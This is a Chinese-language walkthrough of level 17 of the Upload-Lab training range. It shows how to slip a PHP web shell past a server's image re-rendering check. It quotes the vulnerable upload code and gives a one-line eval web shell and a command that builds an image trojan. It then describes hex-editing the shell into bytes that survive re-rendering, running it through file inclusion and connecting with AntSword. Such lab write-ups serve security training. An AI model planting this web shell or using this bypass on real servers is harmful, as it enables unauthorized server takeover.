简介

文件上传漏洞一直是网络安全中一个重要且复杂的领域。在 Upload-Lab 的第17关,我们将探讨如何利用二次渲染技术绕过文件上传验证限制。

攻击思路


    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
      ...

当上传一个文件的时候,首先$fileext会判断是否为jpg的同时,content-type是否为image/jpeg,然后使用move_uploaded_file进行处理,成功则执行二次渲染。

  1. 利用windows下的画图工具,然后保存为一张gif格式的图片。
  2. 上传后,保存上传的图片,与原图做比较,利用winhex写入一句话
  3. 利用文件包含读取、解析。

什么是二次渲染?

二次渲染是指服务器在文件上传后,再次处理或修改文件内容的过程。攻击者可以利用这一过程,上传一个看似安全的文件,但通过服务器的二次处理,将其转换为恶意文件。例如,上传一个合法的图片文件,但在服务器处理过程中,将其内容转变为恶意脚本。

攻击步骤

  1. 文件准备

利用windows下的画图工具,然后保存为一张gif格式的图片,然后,在准备一个webshll脚本,命名随意,内容如下:

<?php @eval($_POST[CMD]); ?>

利用下面的命令把图片制作成图片马:

copy 1.gif/b + webshell.php/a pass17.gif

执行上述命令后,会输入如下结果,并且会生成新的一张名为pass17.gif的图片马。

在上传文件之前,我们通过winhex软件查看,图片确实包含一句话木马,如下图:

  1. 上传文件

把制作好图片马上传,再下载下来查看。
下载渲染的图片
再次使用winhex查看刚下载好的文件,发现一句话木马没有了,如下图所示:

找渲染的分隔点,我利用winhex的同步对比查看功能。通过再工具栏中查看->同步比较,如下图所示:

从下图可以看出,黑色部分开始有变化,如下图所示:

于是,我们可以利用没有在没有发生改变的地方再次插入一句话木马:

  • 我们先在pass17.gif复制一句木马的16进制。如下图所示:

  • 在刚才下载的文件中插入这一句话木马,插入的地方是在没有发生渲染的地方。就是上图中黑色开始之前的地方。如下图所示:

然后,再次把这个修改过的文件(29323.gif)上传,如下图所示:

然后下载,发现一句话木马可以了,如下图

然后我们再利用文件包含漏洞进行解析,如下图所示,发现解析成功

再通过中国蚁剑进行连接,如下图所示:

保存之后,打开文件浏览,如下图:

结论

第17关的挑战展示了如何利用二次渲染绕过上传校验的技术。关键在于找到渲染过程中用于分割的标志线,并在分割线之前插入一句话木马。